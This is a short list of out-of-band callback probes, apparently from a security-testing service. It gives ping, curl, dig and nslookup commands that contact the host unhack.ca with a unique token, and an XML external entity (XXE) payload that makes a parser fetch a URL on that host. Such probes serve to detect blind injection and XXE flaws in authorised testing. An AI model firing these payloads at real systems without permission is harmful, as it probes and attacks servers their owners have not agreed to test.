$ ping -c1 -p 00d44679482ab479a5f13edd7a4a2f00 unhack.ca
 

$ curl http://unhack.ca/p/d44679482ab479a5f13edd7a4a2f
 

$ dig d44679482ab479a5f13edd7a4a2f @unhack.ca
 

$ dig d44679482ab479a5f13edd7a4a2f.ns.unhack.ca
 

C:\> nslookup d44679482ab479a5f13edd7a4a2f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d44679482ab479a5f13edd7a4a2f">]>
    <foo>&xxe;</foo>